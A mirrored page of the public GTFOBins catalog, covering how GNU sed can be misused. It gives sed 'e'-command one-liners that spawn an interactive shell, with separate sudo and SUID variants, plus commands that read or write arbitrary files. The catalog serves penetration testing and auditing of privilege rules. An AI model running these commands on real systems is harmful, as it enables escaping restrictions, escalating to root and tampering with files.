1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/sed.md

822 B

functions
execute-interactive execute-non-interactive sudo-enabled suid-enabled file-read file-write
description code
GNU version only. Also, this requires `bash`. sed -n "1e bash -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" /etc/hosts
description code
GNU version only. sed -n "1e id" /etc/hosts
description code
GNU version only. Also, this requires `bash`. sudo sed -n "1e /bin/bash -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" /etc/hosts
description code
GNU version only. Also, this requires `bash`. ./sed -n "1e /bin/bash -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" /etc/hosts
code
LFILE=file_to_read sed '' "$LFILE"
code
LFILE=file_to_write sed -n "1s/.*/data/w $LFILE" /etc/hosts